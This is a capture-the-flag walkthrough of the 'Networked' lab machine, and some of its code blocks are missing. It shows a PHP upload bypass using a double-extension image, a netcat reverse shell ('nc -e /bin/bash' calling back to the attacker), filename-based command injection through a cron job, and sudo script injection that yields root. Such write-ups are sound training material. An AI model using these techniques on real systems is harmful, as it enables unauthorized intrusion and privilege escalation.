The first thing we should do is map the box IP address to the box name .htb in the
Next up we will run a standard NMAP scan. We get results back for 3 ports: 22 SSH open, 80 HTTP open and 443 HTTPS closed.
Port 80 looks interesting, if we look at the NMAP results we can see the server is running PHP. Let’s start up gobuster and look for some interesting .php files.
We quickly find some promising files and directories, we will terminate gobuster early as I highly doubt we will find more on the machine and this is enough to get started with right now.
Let’s take a look at
Bypassing the upload restriction to gain remote code execution
At first glance
/uploads.php looks like very basic file upload functionality, we can assume it will let the user upload pictures to display on
If we take a look at
/photos.php we can see it’s a basic photo gallery. Let’s download one of the images and try to upload it through
/uploads.php, we will name it
The test image uploads successfully to the gallery.
When we refresh the gallery we can see our image has been added and renamed to our IP address
Some quick googling shows us that the most common and likely way to check if an image is valid with PHP, is to look at the extention, and with the use of the check_file_type function. check_file_type looks at the mime type of the file to see if it equals
We can manually inject our reverse PHP shell into a
.png image, but I will use a tool called Exiftool which can read, write and edit meta information.
Let’s rename our image to
test.php.png and try upload it to the gallery.
Upload successful! Let’s set up a listener on port 444 with
nc -lnvp 444 and get our reverse shell by going to
networked.htb/uploads/10_10_X_X.php.png?cmd=nc -e /bin/bash 10.10.X.X 444.
Getting user through command injection
Let’s upgrade our shell using
python -c "import pty;pty.spawn('/bin/bash')". If we use
whoami we can see we have a shell as the user
One of the first things we can do once we get our initial shell, is checkout the home directory. If we navigate to
ls -la we can see there is a home directory for the user guly and we have read access. Let’s see what is inside.
We can see the
user.txt flag, a file called
crontab.guly and a file called
check_attack.php. Let’s take a look at the
crontab.guly file first.
Every 3 minutes this cronjob will execute
/home/guly/check_attack.php. Let’s take a look at
If we analyze this file, we can see the
$value variable which is called in
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &";) is prone to command injection. This is the case because
$value equals a filename in
/var/www/html/uploads as can be seen in the
$path = '/var/www/html/uploads/'; $files = preg_grep('/^([^.])/', scandir($path)); #this expression filters out any files that start with a dot, then adds the remaining filenames as strings to the Array $files foreach ($files as $key => $value) #for every filename in /var/www/html/uploads
Thus if we create a file in
/var/www/html/uploads which has a semicolon and command in its filename, it’ll be executed. Since we have write access to
/var/www/html/uploads, we can use
touch to create a file.
touch only has a few characters which cannot be used in a filename, namely
\0 (NUL) and
/. With those limitations in mind we can craft our reverse shell command and set up a listener with
nc -lnvp 444.
After a couple of minutes we get our reverse shell and we can upgrade it using python. We now have a shell as guly and we can
cat user.txt for the user flag.
Getting root through command injection
Time to move on from user and get root. Before we start running enumeration scripts like LinEnum and Jalesc we should try
sudo -l first to see which files guly is allowed to run as root. Luckily this proves to be all we need.
Guly is allowed to run
root privileges without a password. Let’s have a look at
At first glance the script appears to be reading parameters and values from a file called
/etc/sysconfig/network-scripts/ifcfg-guly, then it performs some regex filtering on user input and writes those values back to the config file.
What makes this script vulnerable to command injection is the line
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly.
We know that
$x is our user input we control, but it only allows: lowercase a-z, uppercase A-Z, numbers 0-9,
/ (forward slash),
\ (back slash).
In bash parameters are separated by a blank space
" ", and this is where we can inject our own command. When we run the script with
sudo /usr/local/sbin/changename.sh and give it
cerbersec bash, the script will execute
bash for us and give us a root shell.
We can now
cd /root and